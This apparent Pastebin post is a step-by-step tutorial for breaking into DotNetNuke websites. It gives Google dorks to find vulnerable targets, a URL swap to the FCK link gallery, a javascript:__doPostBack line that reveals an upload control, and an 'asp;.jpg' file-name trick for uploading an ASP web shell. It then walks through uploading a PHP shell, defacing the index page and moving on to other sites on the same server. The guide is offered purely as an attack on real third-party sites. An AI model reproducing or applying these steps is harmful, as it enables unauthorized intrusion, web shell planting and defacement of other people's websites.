Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- How To Hack Websites Using DotNetNuke Exploit + Shell Uploading
- Hello everyone!! Previously we have discussed about "How to Hack Website Using Havij SQL Injection". Today,I am going to tell about one more very usefull but old method which you can used to hack website using Dot net nuke(DNN) exploit. I know some of you know about this method DNN but it is very good exploit to hack dot net sites. B
- y using this DNN exploit, you can even hack all sites which are hosted on same server. Also you can upload any file using it. It is easy method as compared to other hacking attacks such as SQL-Injection and Cross Site Scripting etc.
- What is DNN (Dot Net Nuke) ?
- DotNetNuke is an open source platform for building web sites based on Microsoft .NET technology. DotNetNuke is mainly provide Content Management System(CMS) for the personal websites.
- Step 1: First go to google.com search page and use this following dork to find vulnerable site.
- inurl:home/tabid/36/language/en-US/Default.aspx
- another dorks you can use
- inurl:fcklinkgallery.aspx
- inurl:/portals/0
- Step 2: Now open any site from the search list like
- http://www.vulsite.com/…/tab…/36/language/en-US/Default.aspx
- Now replace "home/tabid/36/language/en-US/Default.aspx" with Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
- so your url will become
- http://www.vulsite.com/…/HtmlEditor…/Fck/fcklinkgallery.aspx
- then hit enter
- Step 3: Now there are 2 possibilities
- if u get Link Gallery url select then site is not vulnerable , see the image below :
- http://1.bp.blogspot.com/…/nGf…/s1600/website%2Bhacking1.jpg
- and If you get Like shown in below image then target is vulnerable :
- http://3.bp.blogspot.com/…/r3g…/s1600/website%2Bhacking2.jpg
- ok now if you find a vulnerable site move to next step
- Step 4: Now you can see 3 options there and we neeed to select “File in your site”.
- http://3.bp.blogspot.com/…/29B…/s1600/website%2Bhacking3.jpg
- Step 5: Now after selecting 3 options, we need to use a javascript code. For that we need to use that browser which supports javascript. So i use Opera Mini .
- Before using javascript, first we need to choose file location as root, after that clear everything written on browser url and paste the below javascript only.
- javascript:__doPostBack('ctlURL$cmdUpload','')
- Step 6: After inject the above javascript code in browser address bar, you will get upload option instead of selection option.
- http://2.bp.blogspot.com/…/dOg…/s1600/website%2Bhacking4.jpg
- Step 7: Now you have to upload your shell.
- Note : But remember you cant upload your shell directly in .php format and not even you can do anything by uploading .php.jpg
- So for this purpose first we need to upload a special type of shell which is specially coded in asp.
- Download the shell :- goto www.sh3ll.org .
- Now rename your asp shell to
- yourshell.asp;.jpg
- and upload it.
- After uploading you can access your ASP shell by going to this address,
- http://www.vulsite.com/portals/0/yourshell.asp;.jpg
- http://4.bp.blogspot.com/…/crr…/s1600/website%2Bhacking0.jpg
- Step 8: Now upload your php shell using upload file option marked in above image.
- After uploading php shell you can access it by going to this address,
- http://www.vulsite.com/portals/0/yourphpshell.php
- Step 9: Now replace your index.html with original index.html. Thats it.
- Well you can also hack all sites which are hosted on same server.
- For that follow the bellow image and click on Drives you will find all sites hosted on same server.
- Click on any one site and follow the above process to upload you shell.
- Happy website hacking!!!
Add Comment
Please, Sign In to add comment
